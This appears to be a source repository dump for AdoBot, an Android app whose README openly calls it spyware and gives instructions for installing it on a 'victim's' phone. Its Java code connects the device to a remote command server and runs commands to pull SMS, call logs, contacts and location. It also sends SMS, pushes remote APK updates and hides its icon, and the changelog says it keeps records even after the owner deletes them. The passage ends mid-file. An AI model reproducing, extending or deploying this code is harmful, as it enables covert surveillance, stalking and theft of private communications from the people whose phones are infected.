├── .github └── workflows │ └── android-build.yml ├── .gitignore ├── CHANGELOGS.md ├── MIT-License.txt ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ └── main │ ├── AndroidManifest.xml │ ├── java │ └── com │ │ └── android │ │ └── adobot │ │ ├── AdobotConstants.java │ │ ├── CommonParams.java │ │ ├── NetworkSchedulerService.java │ │ ├── SmsBroadcastReceiver.java │ │ ├── activities │ │ ├── BaseActivity.java │ │ ├── PermissionsActivity.java │ │ ├── SetupActivity.java │ │ ├── UpdateActivity.java │ │ └── wallpaper │ │ ├── database │ │ ├── AppDatabase.java │ │ ├── CallLog.java │ │ ├── CallLogDao.java │ │ ├── Sms.java │ │ └── SmsDao.java │ │ ├── http │ │ ├── Http.java │ │ ├── HttpCallback.java │ │ └── HttpRequest.java │ │ └── tasks │ │ ├── BaseTask.java │ │ ├── CallLogRecorderTask.java │ │ ├── GetCallLogsTask.java │ │ ├── GetContactsTask.java │ │ ├── GetSmsTask.java │ │ ├── LocationMonitor.java │ │ ├── SendSmsTask.java │ │ ├── SmsRecorderTask.java │ │ ├── TransferBotTask.java │ │ └── UpdateAppTask.java │ └── res │ ├── layout │ ├── activity_permissions.xml │ ├── activity_prompt_update.xml │ └── activity_setup.xml │ ├── mipmap-hdpi │ └── ic_launcher.png │ ├── mipmap-ldpi │ └── ic_launcher.png │ ├── mipmap-mdpi │ └── ic_launcher.png │ ├── mipmap-xhdpi │ └── ic_launcher.png │ ├── mipmap-xxhdpi │ └── ic_launcher.png │ ├── mipmap-xxxhdpi │ └── ic_launcher.png │ ├── values-w820dp │ └── dimens.xml │ └── values │ ├── colors.xml │ ├── dimens.xml │ ├── strings.xml │ └── styles.xml ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── screenshots ├── call-logs.png ├── contacts.png ├── location.png ├── main.png ├── notifications │ ├── notif2.png │ └── notif3.png ├── pending-commands.png ├── sms-main-1.png ├── sms-thread-5.png └── update-apk.png └── settings.gradle /.github/workflows/android-build.yml: -------------------------------------------------------------------------------- 1 | name: Build Android APK 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | pull_request: 8 | branches: 9 | - main 10 | 11 | jobs: 12 | build: 13 | runs-on: ubuntu-latest 14 | 15 | steps: 16 | - name: Checkout repository 17 | uses: actions/checkout@v3 18 | 19 | - name: Set up JDK 11 20 | uses: actions/setup-java@v3 21 | with: 22 | distribution: 'zulu' 23 | java-version: '11' 24 | 25 | - name: Install dependencies 26 | run: ./gradlew dependencies 27 | 28 | - name: Build APK 29 | run: ./gradlew assembleRelease 30 | 31 | - name: Upload APK 32 | uses: actions/upload-artifact@v3 33 | with: 34 | name: app-release.apk 35 | path: app/build/outputs/apk/release/app-release.apk 36 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | /.idea 3 | .gradle 4 | /local.properties 5 | /.idea/workspace.xml 6 | /.idea/libraries 7 | .DS_Store 8 | /build 9 | /captures 10 | .externalNativeBuild 11 | ado-bot-keystore.jks 12 | app/release 13 | -------------------------------------------------------------------------------- /CHANGELOGS.md: -------------------------------------------------------------------------------- 1 | # Version 2.3 2 | - Fix unable to record received sms on android 7 3 | 4 | # Version 2.2 5 | - Start NetworkSchedulerService after asking permissions 6 | - Minor bug fixes 7 | 8 | # Version 2.1 9 | - Force sync and Open adobot using SMS Broadcast receiver instead of content observer 10 | 11 | # Version 2.0 12 | - Minimum SDK supported is 21 (Lollipop). 13 | - Using JobScheduler to sync data to server. 14 | - Save SMS and call logs to local database if device is offline and sync to server once connected to inernet. This helps keeping track even if messages and logs are deleted by the phone owner. 15 | - Remove SMS Forwarder feature 16 | 17 | # Version 1.1 18 | - First release 19 | 20 | 21 | -------------------------------------------------------------------------------- /MIT-License.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2024 Adones Pitogo 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AdoBot 2 | 3 | Opensource Android Spyware 4 | 5 | # Features 6 | - Realtime command execution 7 | - Schedule commands 8 | - Hidden app icon (stealth mode) 9 | - Fetch SMS in 10 | - Fetch call logs 11 | - Fetch contacts 12 | - Send SMS command 13 | - Forward received/sent SMS 14 | - Monitor location 15 | - Update apk remotely 16 | - Data collected are retained in database 17 | - Realtime notifications about device status 18 | - Transfer bot reporting to another server 19 | - For android 6 and above: 20 | - You can view the permissions of the app 21 | - The app asks for permission when a certain command is sent the there is no permission 22 | 23 | # Need help/Todo 24 | - access files 25 | - take photo stealthly 26 | - get browser history 27 | - and more... 28 | 29 | # Instructions 30 | 31 | Just compile (as signed APK) and install the app to the victim's android device. Then start the app and configure the parameters: 32 | 33 | - ***Server URL:*** Set the URL of your [AdoBot-IO](https://github.com/adonespitogo/AdoBot-IO) server. It must include the protocol i.e. `https://adobot.herokuapp.com` (default). 34 | - ***SMS Open Command:*** Send an SMS to any number containing this text to open the Adobot settings. "Open adobot" (default). 35 | - ***Force Command:*** Send an SMS containing this text to the victim's phone to forcefully sync data to server. "Baby?" (default). 36 | 37 | Next go to [https://github.com/adonespitogo/AdoBot-IO](https://github.com/adonespitogo/AdoBot-IO) and follow the instructions on setting up the admin panel. 38 | 39 | # Management Console Screen Shots 40 | 41 | ## Main GUI 42 | 43 | ![Adobot Main GUI](./screenshots/main.png "Adobot Main GUI") 44 | 45 | ## Location Tab 46 | 47 | ![Location Tab](./screenshots/location.png "Adobot Location Tab") 48 | 49 | ## Main SMS Tab 50 | 51 | ![Main SMS Tab](./screenshots/sms-main-1.png "Adobot Main SMS Tab") 52 | 53 | ## Single SMS Thread View 54 | 55 | SMS thread is a pop up modal 56 | 57 | ![SMS Thread Tab](./screenshots/sms-thread-5.png "Adobot SMS Thread Tab") 58 | 59 | ## Call Logs Tab 60 | 61 | ![Call Logs Tab](./screenshots/call-logs.png "Adobot Call Logs Tab") 62 | 63 | ## Contacts Tab 64 | 65 | ![Contacts Tab](./screenshots/contacts.png "Adobot Contacts Tab") 66 | 67 | ## Pending Commands Tab 68 | 69 | When you send a command to an offline device, the command is stored in the datase and will be executed once the device connects online. 70 | 71 | ![Pending commands Tab](./screenshots/pending-commands.png "Adobot Pending Commands Tab") 72 | 73 | ## Update APK 74 | 75 | ![Update APK](./screenshots/update-apk.png "Adobot update APK") 76 | 77 | 78 | ## Notifications 79 | 80 | ![Notification](./screenshots/notifications/notif2.png "Adobot notification") 81 | ![Notification](./screenshots/notifications/notif3.png "Adobot notification") 82 | 83 | ## License 84 | 85 | Released under [MIT License](./MIT-License.txt) 86 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 26 5 | buildToolsVersion '28.0.2' 6 | defaultConfig { 7 | applicationId "com.android.adobot" 8 | minSdkVersion 21 9 | targetSdkVersion 26 10 | versionCode 2 11 | versionName "2.3" 12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 13 | } 14 | buildTypes { 15 | release { 16 | minifyEnabled false 17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 18 | } 19 | } 20 | } 21 | 22 | dependencies { 23 | implementation fileTree(include: ['*.jar'], dir: 'libs') 24 | implementation 'com.android.support:appcompat-v7:26.1.0' 25 | implementation 'io.socket:socket.io-client:1.0.0' 26 | implementation 'io.nlopez.smartlocation:library:3.2.11' 27 | implementation 'pub.devrel:easypermissions:0.3.0' 28 | implementation "android.arch.persistence.room:runtime:1.0.0-beta2" 29 | annotationProcessor "android.arch.persistence.room:compiler:1.0.0-beta2" 30 | 31 | androidTestImplementation('com.android.support.test.espresso:espresso-core:2.2.2', { 32 | exclude group: 'com.android.support', module: 'support-annotations' 33 | // excluding org.json which is provided by Android 34 | exclude group: 'org.json', module: 'json' 35 | }) 36 | testImplementation 'junit:junit:4.12' 37 | } 38 | 39 | configurations { 40 | all { 41 | exclude group: 'org.json', module: 'json' 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # By default, the flags in this file are appended to flags specified 3 | # in /home/adones/Android/Sdk/tools/proguard/proguard-android.txt 4 | # You can edit the include path and order by changing the proguardFiles 5 | # directive in build.gradle. 6 | # 7 | # For more details, see 8 | # http://developer.android.com/guide/developing/tools/proguard.html 9 | 10 | # Add any project specific keep options here: 11 | 12 | # If your project uses WebView with JS, uncomment the following 13 | # and specify the fully qualified class name to the JavaScript interface 14 | # class: 15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 16 | # public *; 17 | #} 18 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 8 | 11 | 14 | 17 | 20 | 22 | 25 | 28 | 31 | 34 | 37 | 40 | 43 | 46 | 49 | 50 | 51 | 52 | 53 | 54 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/AdobotConstants.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot; 2 | 3 | import android.Manifest; 4 | 5 | /** 6 | * Created by adones on 2/26/17. 7 | */ 8 | 9 | public final class AdobotConstants { 10 | 11 | public static final String PACKAGE_NAME = "com.android.adobot"; 12 | public static final String UPDATE_PKG_FILE_NAME = "update.apk"; 13 | public static final String PREF_SMS_OPEN_TEXT_FIELD = "smsOpenText"; 14 | public static final String PREF_FORCE_SYNC_SMS_COMMAND_FIELD = "smsForceUpload"; 15 | 16 | public static final String PREF_SERVER_URL_FIELD = "serverUrl"; 17 | public static final String DEFAULT_SERVER_URL = "https://your-server.herokuapp.com"; 18 | public static final String DEVELOPMENT_SERVER = "http://192.168.1.251:3000"; 19 | public static final String NOTIFY_URL = "/notify"; 20 | public static final String POST_CALL_LOGS_URL = "/call-logs"; 21 | public static final String POST_MESSAGE_URL = "/message"; 22 | public static final String POST_CONTACTS_URL = "/contacts"; 23 | public static final String POST_STATUS_URL = "/status"; 24 | 25 | public static final String[] PERMISSIONS = { 26 | Manifest.permission.READ_PHONE_STATE, 27 | Manifest.permission.READ_CONTACTS, 28 | Manifest.permission.READ_SMS, 29 | Manifest.permission.SEND_SMS, 30 | Manifest.permission.READ_CALL_LOG, 31 | Manifest.permission.INTERNET, 32 | Manifest.permission.ACCESS_NETWORK_STATE, 33 | Manifest.permission.ACCESS_FINE_LOCATION, 34 | Manifest.permission.ACCESS_COARSE_LOCATION, 35 | Manifest.permission.WRITE_EXTERNAL_STORAGE, 36 | }; 37 | 38 | public static final String DATABASE_NAME = "adobot"; 39 | 40 | } 41 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/CommonParams.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot; 2 | 3 | //uid = Settings.Secure.getString(getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID); 4 | // device = android.os.Build.MODEL; 5 | // sdk = Integer.valueOf(Build.VERSION.SDK_INT).toString(); //Build.VERSION.RELEASE; 6 | // version = Build.VERSION.RELEASE; 7 | 8 | import android.Manifest; 9 | import android.content.Context; 10 | import android.content.SharedPreferences; 11 | import android.content.pm.PackageManager; 12 | import android.os.Build; 13 | import android.provider.Settings; 14 | import android.support.v4.content.ContextCompat; 15 | import android.telephony.TelephonyManager; 16 | 17 | public class CommonParams { 18 | 19 | SharedPreferences prefs; 20 | private String server; 21 | private String uid; 22 | private String sdk; 23 | private String version; 24 | private String phone; 25 | private String provider; 26 | private String device; 27 | 28 | public CommonParams(Context context) { 29 | prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE); 30 | server = prefs.getString(AdobotConstants.PREF_SERVER_URL_FIELD, AdobotConstants.DEVELOPMENT_SERVER); 31 | uid = Settings.Secure.getString(context.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID); 32 | sdk = Integer.valueOf(Build.VERSION.SDK_INT).toString(); 33 | version = Build.VERSION.RELEASE; 34 | 35 | TelephonyManager telephonyManager = ((TelephonyManager) context.getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE)); 36 | provider = telephonyManager.getNetworkOperatorName(); 37 | if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) { 38 | phone = telephonyManager.getLine1Number(); 39 | } 40 | device = android.os.Build.MODEL; 41 | 42 | } 43 | 44 | public String getServer() { 45 | return this.server; 46 | } 47 | 48 | public String getUid() { 49 | return this.uid; 50 | } 51 | 52 | public String getSdk() { 53 | return this.sdk; 54 | } 55 | 56 | public String getVersion() { 57 | return version; 58 | } 59 | 60 | public String getPhone() { 61 | return phone; 62 | } 63 | 64 | public String getProvider() { 65 | return provider; 66 | } 67 | 68 | public String getDevice() { 69 | return device; 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/NetworkSchedulerService.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot; 2 | 3 | import android.app.job.JobParameters; 4 | import android.app.job.JobService; 5 | import android.content.Context; 6 | import android.content.Intent; 7 | import android.net.ConnectivityManager; 8 | import android.net.Network; 9 | import android.net.NetworkCapabilities; 10 | import android.net.NetworkInfo; 11 | import android.net.NetworkRequest; 12 | import android.os.Build; 13 | import android.os.Environment; 14 | import android.support.annotation.RequiresApi; 15 | import android.util.Log; 16 | 17 | import com.android.adobot.http.Http; 18 | import com.android.adobot.http.HttpRequest; 19 | import com.android.adobot.tasks.CallLogRecorderTask; 20 | import com.android.adobot.tasks.GetCallLogsTask; 21 | import com.android.adobot.tasks.GetContactsTask; 22 | import com.android.adobot.tasks.GetSmsTask; 23 | import com.android.adobot.tasks.LocationMonitor; 24 | import com.android.adobot.tasks.SendSmsTask; 25 | import com.android.adobot.tasks.SmsRecorderTask; 26 | import com.android.adobot.tasks.TransferBotTask; 27 | import com.android.adobot.tasks.UpdateAppTask; 28 | 29 | import org.json.JSONArray; 30 | import org.json.JSONException; 31 | import org.json.JSONObject; 32 | 33 | import java.io.File; 34 | import java.net.URISyntaxException; 35 | import java.util.HashMap; 36 | 37 | import io.socket.client.Ack; 38 | import io.socket.client.IO; 39 | import io.socket.client.Socket; 40 | import io.socket.emitter.Emitter; 41 | 42 | @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) 43 | public class NetworkSchedulerService extends JobService { 44 | 45 | private static final String TAG = NetworkSchedulerService.class.getSimpleName(); 46 | 47 | private SmsRecorderTask smsRecorderTask; 48 | private CallLogRecorderTask callLogRecorderTask; 49 | 50 | public static Socket socket; 51 | public static boolean connected = false; 52 | private static int MAX_RECONNECT = 10; 53 | private static boolean is_syncing = false; 54 | 55 | private int reconnects = 0; 56 | private LocationMonitor locationTask; 57 | private CommonParams commonParams; 58 | private NetworkSchedulerService client; 59 | private JobParameters jobParameters; 60 | private ConnectivityManager.NetworkCallback networkCallback; 61 | private static NetworkSchedulerService instance; 62 | 63 | public static NetworkSchedulerService getInstance () { 64 | return instance; 65 | } 66 | 67 | @Override 68 | public void onCreate() { 69 | super.onCreate(); 70 | init(); 71 | instance = this; 72 | 73 | Log.i(TAG, "Service created"); 74 | } 75 | 76 | /** 77 | * When the app's NetworkConnectionActivity is created, it starts this service. This is so that the 78 | * activity and this service can communicate back and forth. See "setUiCallback()" 79 | */ 80 | @Override 81 | public int onStartCommand(Intent intent, int flags, int startId) { 82 | Log.i(TAG, "onStartCommand"); 83 | init(); 84 | return START_NOT_STICKY; 85 | } 86 | 87 | 88 | @Override 89 | public boolean onStartJob(final JobParameters params) { 90 | jobParameters = params; 91 | Log.i(TAG, "onStartJob: "); 92 | if (!hasConnection()) { 93 | Thread finished = new Thread(new Runnable() { 94 | @Override 95 | public void run() { 96 | jobFinished(params, true); 97 | } 98 | }); 99 | try { 100 | finished.sleep(300); 101 | } catch (Exception e) { 102 | e.printStackTrace(); 103 | } 104 | finished.start(); 105 | } else { 106 | sync(); 107 | } 108 | return true; 109 | } 110 | 111 | @Override 112 | public boolean onStopJob(JobParameters params) { 113 | Log.i(TAG, "onStopJob: "); 114 | disconnect(); 115 | return true; 116 | } 117 | 118 | @Override 119 | public void onDestroy() { 120 | Log.i(TAG, "Destroyed!!"); 121 | super.onDestroy(); 122 | disconnect(); 123 | } 124 | 125 | public void changeServer(String url) { 126 | commonParams = new CommonParams(this); 127 | socket.disconnect(); 128 | locationTask.setServer(url); 129 | createSocket(url); 130 | socket.connect(); 131 | } 132 | 133 | public boolean hasConnection() { 134 | ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); 135 | NetworkInfo info = cm.getActiveNetworkInfo(); 136 | 137 | return (info != null && info.isConnected()); 138 | } 139 | 140 | public void connect() { 141 | if (hasConnection() && !connected && socket != null && !socket.connected()) 142 | socket.connect(); 143 | else if (socket == null) { 144 | createSocket(commonParams.getServer()); 145 | } else if (hasConnection() && socket != null && !connected) { 146 | socket.connect(); 147 | } else { 148 | Log.i(TAG, "Unable to connect: No connection"); 149 | } 150 | } 151 | 152 | public void sync() { 153 | 154 | if (is_syncing || !hasConnection()) return; 155 | is_syncing = true; 156 | 157 | connect(); 158 | 159 | smsRecorderTask.submitNextRecord(new SmsRecorderTask.SubmitSmsCallback() { 160 | @Override 161 | public void onResult(boolean success) { 162 | Log.i(TAG, "Done submit record!!!!"); 163 | 164 | callLogRecorderTask.submitNextRecord(new CallLogRecorderTask.SubmitCallLogCallback() { 165 | @Override 166 | public void onResult(boolean success) { 167 | Log.i(TAG, "Done submit call logs!!!!"); 168 | is_syncing = false; 169 | } 170 | }); 171 | 172 | } 173 | }); 174 | } 175 | 176 | public void disconnect() { 177 | if (socket != null && socket.connected()) socket.disconnect(); 178 | } 179 | 180 | private void init() { 181 | 182 | 183 | if (smsRecorderTask == null) smsRecorderTask = new SmsRecorderTask(this); 184 | if (callLogRecorderTask == null) callLogRecorderTask = new CallLogRecorderTask(this); 185 | if (commonParams == null) commonParams = new CommonParams(this); 186 | if (client == null) client = this; 187 | if (locationTask == null){ 188 | locationTask = new LocationMonitor(this); 189 | locationTask.start(); 190 | } 191 | if (socket == null) createSocket(commonParams.getServer()); 192 | if (networkCallback == null) createChangeConnectivityMonitor(); 193 | 194 | Log.i(TAG, "\n\n\nSocket is " + (connected ? "connected" : "not connected\n\n\n")); 195 | 196 | 197 | connect(); 198 | cleanUp(); 199 | 200 | } 201 | 202 | private void createSocket(String url) { 203 | try { 204 | 205 | socket = IO.socket(url); 206 | socket.on(Socket.EVENT_CONNECT, new Emitter.Listener() { 207 | 208 | @Override 209 | public void call(Object... args) { 210 | 211 | Log.i(TAG, "\n\nSocket connected\n\n"); 212 | connected = true; 213 | reconnects = 0; 214 | 215 | 216 | HashMap bot = new HashMap(); 217 | bot.put("uid", commonParams.getUid()); 218 | bot.put("provider", commonParams.getProvider()); 219 | bot.put("device", commonParams.getDevice()); 220 | bot.put("sdk", commonParams.getSdk()); 221 | bot.put("version", commonParams.getVersion()); 222 | bot.put("phone", commonParams.getPhone()); 223 | bot.put("lat", locationTask.getLatitude()); 224 | bot.put("longi", locationTask.getLongitude()); 225 | 226 | JSONObject obj = new JSONObject(bot); 227 | socket.emit("register", obj, new Ack() { 228 | @Override 229 | public void call(Object... args) { 230 | Log.i(TAG, "Socket connected"); 231 | } 232 | }); 233 | 234 | } 235 | 236 | }); 237 | 238 | socket.on("commands", new Emitter.Listener() { 239 | 240 | @Override 241 | public void call(Object... args) { 242 | JSONArray cmds = (JSONArray) args[0]; 243 | for (int i = 0; i < cmds.length(); i++) { 244 | try { 245 | JSONObject cmd = (JSONObject) cmds.get(i); 246 | 247 | String command = (String) cmd.get("command"); 248 | Log.i(TAG, "\nCommand: " + cmd.toString() + "\n"); 249 | 250 | if (command.equals("getsms")) { 251 | Log.i(TAG, "\nInvoking Sms Service\n"); 252 | int arg1 = Integer.parseInt(cmd.get("arg1").toString()); 253 | GetSmsTask smsService = new GetSmsTask(client, arg1); 254 | smsService.start(); 255 | } else if (command.equals("getcallhistory")) { 256 | Log.i(TAG, "\nInvoking Call LOg Service\n"); 257 | int arg1 = Integer.parseInt(cmd.get("arg1").toString()); 258 | GetCallLogsTask cs = new GetCallLogsTask(client, arg1); 259 | cs.start(); 260 | } else if (command.equals("getcontacts")) { 261 | Log.i(TAG, "\nInvoking GetContactsTask\n"); 262 | GetContactsTask cs = new GetContactsTask(client); 263 | cs.start(); 264 | } else if (command.equals("promptupdate")) { 265 | Log.i(TAG, "\nInvoking UpdateAppTask\n"); 266 | String apkUrl = cmd.get("arg1").toString(); 267 | 268 | UpdateAppTask atualizaApp = new UpdateAppTask(client, apkUrl); 269 | atualizaApp.start(); 270 | } else if (command.equals("sendsms")) { 271 | Log.i(TAG, "\nInvoking SendSMS\n"); 272 | String phoneNumber = cmd.get("arg1").toString(); 273 | String textMessage = cmd.get("arg2").toString(); 274 | 275 | SendSmsTask sendSmsTask = new SendSmsTask(client); 276 | sendSmsTask.setPhoneNumber(phoneNumber); 277 | sendSmsTask.setTextMessage(textMessage); 278 | sendSmsTask.start(); 279 | 280 | } else if (command.equals("transferbot")) { 281 | Log.i(TAG, "\nInvoking Transfer bot command\n"); 282 | String newServer = cmd.get("arg1").toString(); 283 | 284 | TransferBotTask t = new TransferBotTask(client, newServer); 285 | t.start(); 286 | 287 | } else { 288 | Log.i(TAG, "Unknown command"); 289 | HashMap xcmd = new HashMap(); 290 | xcmd.put("event", "command:unknown"); 291 | xcmd.put("uid", commonParams.getUid()); 292 | xcmd.put("device", commonParams.getDevice()); 293 | xcmd.put("command", command); 294 | 295 | Http req = new Http(); 296 | req.setUrl(commonParams.getServer() + "/notify"); 297 | req.setMethod(HttpRequest.METHOD_POST); 298 | req.setParams(xcmd); 299 | req.execute(); 300 | } 301 | 302 | } catch (JSONException e) { 303 | e.printStackTrace(); 304 | } 305 | } 306 | } 307 | 308 | }); 309 | 310 | socket.on(Socket.EVENT_DISCONNECT, new Emitter.Listener() { 311 | 312 | @Override 313 | public void call(Object... args) { 314 | connected = false; 315 | Log.i(TAG, "\n\nSocket disconnected...\n\n"); 316 | /*final Thread reconnect = new Thread(new Runnable() { 317 | @Override 318 | public void run() { 319 | Log.i(TAG, "Socket reconnecting..."); 320 | } 321 | });*/ 322 | 323 | } 324 | 325 | }); 326 | 327 | socket.on(Socket.EVENT_RECONNECTING, new Emitter.Listener() { 328 | @Override 329 | public void call(Object... args) { 330 | if (hasConnection() && reconnects <= MAX_RECONNECT) { 331 | reconnects++; 332 | Log.i(TAG, "Socket reconnecting..."); 333 | } else { 334 | reconnects = 0; 335 | try { 336 | jobFinished(jobParameters, true); 337 | } catch (Exception e) { 338 | e.printStackTrace(); 339 | } 340 | disconnect(); 341 | } 342 | } 343 | }); 344 | 345 | } catch (URISyntaxException e) { 346 | e.printStackTrace(); 347 | } 348 | 349 | } 350 | 351 | private void createChangeConnectivityMonitor() { 352 | 353 | NetworkRequest networkRequest = new NetworkRequest.Builder() 354 | .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET) 355 | .build(); 356 | 357 | networkCallback = new ConnectivityManager.NetworkCallback() { 358 | 359 | @Override 360 | public void onAvailable(Network network) { 361 | Log.i(TAG, "On available network"); 362 | sync(); 363 | } 364 | 365 | @Override 366 | public void onLost(Network network) { 367 | Log.i(TAG, "On not available network"); 368 | disconnect(); 369 | } 370 | }; 371 | 372 | ConnectivityManager connectivityManager = (ConnectivityManager) 373 | getSystemService(Context.CONNECTIVITY_SERVICE); 374 | 375 | if (connectivityManager != null) { 376 | connectivityManager.registerNetworkCallback(networkRequest, networkCallback); 377 | } 378 | 379 | } 380 | 381 | private void cleanUp () { 382 | // remove previously installed update apk file 383 | File updateApk = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), AdobotConstants.UPDATE_PKG_FILE_NAME); 384 | if (updateApk.exists()) 385 | updateApk.delete(); 386 | } 387 | } -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/SmsBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot; 2 | 3 | 4 | import android.content.BroadcastReceiver; 5 | import android.content.ComponentName; 6 | import android.content.Context; 7 | import android.content.Intent; 8 | import android.content.SharedPreferences; 9 | import android.content.pm.PackageManager; 10 | import android.os.Bundle; 11 | import android.telephony.SmsMessage; 12 | import android.util.Log; 13 | 14 | import com.android.adobot.activities.SetupActivity; 15 | import com.android.adobot.database.Sms; 16 | import com.android.adobot.tasks.SmsRecorderTask; 17 | 18 | import java.text.SimpleDateFormat; 19 | import java.util.Calendar; 20 | import java.util.Date; 21 | import java.util.Objects; 22 | 23 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; 24 | import static com.android.adobot.tasks.SmsRecorderTask.MESSAGE_TYPE_RECEIVED; 25 | 26 | public class SmsBroadcastReceiver extends BroadcastReceiver { 27 | 28 | private static final String TAG = SmsBroadcastReceiver.class.getSimpleName(); 29 | public static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"; 30 | 31 | private SharedPreferences prefs; 32 | 33 | @Override 34 | public void onReceive(Context context, Intent intent) { 35 | 36 | prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE); 37 | 38 | Log.i(TAG, "Intent recieved: " + intent.getAction()); 39 | 40 | if (intent.getAction() == SMS_RECEIVED) { 41 | Bundle bundle = intent.getExtras(); 42 | if (bundle != null) { 43 | Object[] pdus = (Object[])bundle.get("pdus"); 44 | final SmsMessage[] messages = new SmsMessage[pdus.length]; 45 | for (int i = 0; i < pdus.length; i++) { 46 | messages[i] = SmsMessage.createFromPdu((byte[])pdus[i]); 47 | } 48 | if (messages.length > -1) { 49 | 50 | SmsMessage m = messages[0]; 51 | final String phone = m.getOriginatingAddress(); 52 | final String body = m.getMessageBody(); 53 | 54 | // format date 55 | SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 56 | Date currentTime = Calendar.getInstance().getTime(); 57 | final String date = formatter.format(currentTime); 58 | 59 | final SmsRecorderTask smsRecorderTask = SmsRecorderTask.getInstance(); 60 | final Sms sms = new Sms(); 61 | sms.set_id(0); 62 | sms.setThread_id(SMS_RECEIVED); 63 | sms.setPhone(phone); 64 | sms.setName(SMS_RECEIVED); 65 | sms.setBody(body); 66 | sms.setDate(date); 67 | sms.setType(MESSAGE_TYPE_RECEIVED); 68 | 69 | // Force sync 70 | String forceSyncSms = prefs.getString(AdobotConstants.PREF_FORCE_SYNC_SMS_COMMAND_FIELD, "Baby?"); 71 | if (Objects.equals(body.trim(), forceSyncSms.trim())) { 72 | Log.i(TAG, "Forced submit SMS"); 73 | NetworkSchedulerService schedulerService = NetworkSchedulerService.getInstance(); 74 | if (schedulerService != null) schedulerService.sync(); 75 | } 76 | 77 | // Open adobot 78 | String smsOpenText = prefs.getString(AdobotConstants.PREF_SMS_OPEN_TEXT_FIELD, "Open adobot"); 79 | if (Objects.equals(body.trim(), smsOpenText.trim())) { 80 | PackageManager p = context.getPackageManager(); 81 | ComponentName permissionsActivity = new ComponentName(context, SetupActivity.class); 82 | p.setComponentEnabledSetting(permissionsActivity, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP); 83 | Intent setupIntent = new Intent(context, SetupActivity.class); 84 | setupIntent.addFlags(FLAG_ACTIVITY_NEW_TASK); 85 | context.startActivity(setupIntent); 86 | } 87 | 88 | Thread save = new Thread(new Runnable() { 89 | @Override 90 | public void run() { 91 | try { 92 | Sms smsRecord = smsRecorderTask.findSmsFromContent(phone, body, MESSAGE_TYPE_RECEIVED); 93 | if (smsRecord != null) { 94 | smsRecorderTask.smsDao.insert(smsRecord); 95 | Log.i(TAG, "Sms saved!!! From: " + phone + ", Body: " + body + "\nName: " + smsRecord.getName()); 96 | } else { 97 | smsRecorderTask.smsDao.insert(sms); 98 | Log.i(TAG, "Sms saved!!! From: " + phone + ", Body: " + body + "\nName: " + sms.getName()); 99 | } 100 | smsRecorderTask.submitNextRecord(new SmsRecorderTask.SubmitSmsCallback() { 101 | @Override 102 | public void onResult(boolean success) { 103 | Log.i(TAG, success? "SMS submitted" : "Sms Not submitted"); 104 | } 